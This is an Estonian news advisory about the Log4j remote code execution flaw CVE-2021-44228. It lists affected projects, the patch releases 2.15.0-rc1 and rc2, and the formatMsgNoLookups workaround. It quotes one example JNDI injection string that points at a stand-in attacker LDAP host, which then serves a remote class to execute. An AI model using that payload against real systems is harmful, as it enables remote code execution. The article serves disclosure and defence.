Apache Log4j, populaarne raamistik Java rakendustes logide haldamiseks, on avastatud kriitiline haavatavus, mis vĂ”imaldab tĂ€ita suvalist koodi, kui logisse kirjutatakse spetsiaalselt vormindatud vÀÀrtus kujul "{jndi:URL}". RĂŒnnaku alla vĂ”ivad sattuda Java rakendused, mis logivad vÀÀrtusi, mis on saadud vĂ€lisest allikast, nĂ€iteks probleemsete vÀÀrtuste kuvamisel veateadetes.
On tĂ€heldatud, et probleem on peaaegu kĂ”iki projekte, mis kasutavad selliseid raamistikke nagu Apache Struts, Apache Solr, Apache Druid vĂ”i Apache Flink, sealhulgas Steam, Apple iCloud, Minecrafti kliendid ja serverid. Oodatakse, et haavatavus vĂ”ib pĂ”hjustada massiliste rĂŒnnakute laine ettevĂ”tte rakendustele, kordades kriitiliste haavatavuste ajalugu Apache Strutsi raamistikus, mida hinnanguliselt kasutab 65% Fortune 100 ettevĂ”tetest. Samuti on juba registreeritud katseid skaneerida vĂ”rku haavatavate sĂŒsteemide leidmiseks.
Probleemi sĂŒvendab see, et juba on avaldatud töötav eksploiteerimine, kuid stabilsete harude jaoks pole praeguseks aega parandusi koostatud. CVE-identifikaator on veel mÀÀramata. Parandus on lisatud ainult testimise harusse log4j-2.15.0-rc1. Haavatavuse blokeerimise ajutiseks lahenduseks soovitatakse seada parameeter log4j2.formatMsgNoLookups vÀÀrtusele true.
Probleem tekkis seetĂ”ttu, et log4j toetab erimaskide "{}" töötlemist logidesse kirjutatavates ridades, kus vĂ”ivad toimuda JNDI (Java Naming and Directory Interface) pĂ€ringud. RĂŒnnakus edastatakse string koos asendusmĂ€rgiga "${jndi:ldap://attacker.com/a}", mille töötlemisel log4j saadab server attacker.com LDAP-pĂ€ringu Java klassi teele. Tagastatud serverilt rĂŒnnaku tee (nt http://second-stage.attacker.com/Exploit.class) laaditakse ja tĂ€idetakse praeguse protsessi kontekstis, mis vĂ”imaldab rĂŒndajal kĂ€ivitada suvalist koodi sĂŒsteemis, kasutades praeguse rakenduse Ă”igusi.
TÀiendamine 1: Haavatavusele on mÀÀratud identifikaator CVE-2021-44228.
TĂ€iendamine 2: On leitud viis kaitse ĂŒletamiseks, mis on lisatud versioonis log4j-2.15.0-rc1. Pakutud on uus vĂ€rskendus log4j-2.15.0-rc2, mis tagab pĂ”hjalikuma kaitse haavatavuse vastu. Koodis on vĂ€lja toodud muudatus, mis on seotud valesti vormindatud JNDI URL-i kasutamisel vĂ”imaliku kriitilise tĂ”rke puudumisega.
Allikas: opennet.ru
